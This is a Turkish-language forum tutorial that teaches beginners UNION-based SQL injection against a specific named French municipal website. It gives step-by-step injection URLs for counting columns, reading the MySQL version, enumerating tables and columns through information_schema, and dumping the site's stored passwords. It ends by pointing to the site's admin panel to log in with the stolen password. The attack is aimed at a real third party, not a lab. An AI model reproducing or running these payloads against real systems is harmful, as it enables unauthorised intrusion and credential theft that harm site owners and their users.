Sql inj yapmayan kalmasın diye sizlere kendi ellerimle hazırladığım dökümanı paylaşacağım.Baştan söylüyorum Döküman tamamen bana aittir.
Anlatıma başlamadan önce belirtmek istiyorum; Anlattıklarım sql inj tekniğine yeni başlayanlar içindir.
Gerekli Araçlar;
-Firefox Hackbar eklentisi: https://addons.mozilla.org/en-US/firefox/addon/3899
-Hali hazırda bir AYT indexi
ARKADAŞLAR BU FİREFOX EKLENTİSİNİ KESİNLİKLE KURMALISINIZ. ÇOK İŞİNİZE YARIYCAKTIR.
Sitemiz:
Kod:
http://www.belbeuf.fr/page.php?id=20
ilk olarak sitemize girelim
resim1
Sitemizden ilk olarak hata almaya almaya çalışalım
Kod:
http://www.belbeuf.fr/page.php?id=20*
resim2
Evet yukarıda gördüğümüz üzere sayfada eskisine oranla bi değişiklik oldu. yani hata verdirmeye çalıştık ve işe yaradı.
şimdi order by 1 komutuyla kaçtane tablo olduğunu bulalım
Kod:
http://www.belbeuf.fr/page.php?id=20 order by 1
resim3
order by 1 komutunu daha rahat kullanabilmek için Load kısmına tıklayarak urlmizi rahat editleyebileceğimiz bi alana taşıyalım. Aşağıdaki resimde sayıları takip ederek bu işlemi gerçeleştirebilirsiniz.
resim4
şimdi order by 1 komutundaki 1 rakamının üzerini aşağıda resimde gördüğünüz gibi tarayarak resimde gördüğünüz + kısmına tıklayarak rakamımızın sayısal değerini +1 artıralım
Kod:
http://www.belbeuf.fr/page.php?id=20 order by 1 http://www.belbeuf.fr/page.php?id=20 order by 2 http://www.belbeuf.fr/page.php?id=20 order by 3 http://www.belbeuf.fr/page.php?id=20 order by 4 .....
resim5
bu artırma işlemini sayfada hata alana kadar devam ettirelim.
resim6
yukarıda gördüğünüz üzere 21 de hata aldık demekki 20 tane tablomuz varmış.
şimdi 20 tane tablomuz olduğundan tablolarımızı url kısmında açık bir şekilde sıralayalım.
ama bu işlemi yaparken url kısmındaki değişikliğe dikkat edelim.
/page.php?id=20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
Kod:
http://www.belbeuf.fr/page.php?id=20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
resim7
url mizi düzenledik ve gönderdik, gördüğünüz gibi tablolarımız sayfamızda gözüktü. şimdi bu gözüken tablolardan verilerimizi çekeceğiz. sistem aynı işleyecek ama kodlar deiğişecek. Okumaya devam edin.
evet sır geldi mysql yapısının versiyonunu öğrenmeye
bunu açıkça yazdığımız sayılar uzerınden yapacagız. şimdi sayfamıza bakıyoruz. sayfamızda gözüken tablolarda hangi sayılar var?
bakalım hemen 4,6,9 evet şimdi url kısmında 4,6 veya 9 kolanların birini kullanarak versiyonumuzu yansıtacağız.
ben 4 nolu tabloyu kullanıyorum
versiyonu yansıtacağımız kod version()
Kod:
http://www.belbeuf.fr/page.php?id=20 union select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
resim8
evet gördüğünüz üzere versiyonumuz 5.x.x bu şu anlama geliyor; istediğimiz tüm verileri tahmin etmemize gerek kalmadan site bize gösterecek.
şimdi urlmizi birazdaha düzenleyerek verileri çekmek için bir adım daha atalım.
/page.php?id=20 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables limit 1,1
table_name kodunu version() yazdığımız yere yazıyoruz.
from information_schema.tables limit 1,1 kodumuzu ise urlmizin sonuna yazıyoruz.
urlmizin yeni hali bu şekilde.
Kod:
http://www.belbeuf.fr/page.php?id=20 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables limit 1,1
resim9
evet resimdede gördüğümüz üzere tablolarımız sayfamızda gözüküyor.
şimdi limit 1,1 kısmında sol daki 1 i +1 artırarak devam edıyoruz.
limit 1,1
limit 2,1
limit 3,1
......
resimde görelim
resim10
arttırmaya devam ediyoruz yukarıdaki resimde yapmış olduğum açıklamadanda anlaşılacak üzere admin, password user, users gibi tablo isimlari en çok kullanılanlardandır.
artırmaya devam ediyoruz ve karşımıza password adında bi tablo çıktı. Aşağıdaki resimdede görülüyor.
resim12
password kısmını tarayalım ve aşağıdakı işlemeri gerçekleştirelim.
password -> Encoding >>Hex Encoding >> String to 00ff00ff --> 70617373776f7264
urlmizin tam hali bu şekilde olacak.
Kod:
http://www.belbeuf.fr/page.php?id=20 union select 1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x70617373776f7264 limit 1,1
Kod:
http://www.belbeuf.fr/page.php?id=20 union select 1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x70617373776f7264 limit 1,1
resim13
yani şifreler burada saklanıyor.
mot
şimdi urlmizi sonkez düzenleyerek verimizi çekiyoruz.
mot kolanumuzun adı, bunu column_name yaza yere yazıyoruz.
from password bunu da yine urlmizin sayısal degerlerinin bittiği yere yapıştırıyoruz.
/page.php?id=20 union select 1,2,3,mot,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from password
tam hali bu şekilde
Kod:
http://www.belbeuf.fr/page.php?id=20 union select 1,2,3,mot,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from password
evet şimdi urlmizi çalıstıralım ve son adıma geçelım.
ilk önce urlmizin çalısır durumunu ve cektıgımız verıyı resimde gorelım.
resim14
evet şifremiz sayfamızda gözüktü.
Kod:
http://www.belbeuf.fr/admin
resim15
şifremizi burada çalıştıralım ve panelimizden gereken işlemleri yapalım.
BU ARADA ARKADAŞLAR DİKKATİNİZİ ÇEKMEK İSTİYORUM: Yazdığım url lerde boşuklar var normal bi web tarayıcısında bunu yaparsanız % li ifadelerle karşılaşırsınız. Benımki gibi url lerınızın olmasını ıstıyorsanız Firefox ve Hackbar eklentisini kullanınız. Bazı bilgisayarlarda Firefoz kasıyor(eski bilgisayarlarda) ozaman ne yapacaksınız. vermıs oldugum url lelerdekı boşlukarı silip + koyarsanız boşlukların yerine sorununuz ortadan kalkmış olur.
Hepsi bukadar arkadaşlar. Umarım yararlı bi döküman olmuştur.
Bi sonraki dökümanda görüşmek üzere sağlıcakla kalın.


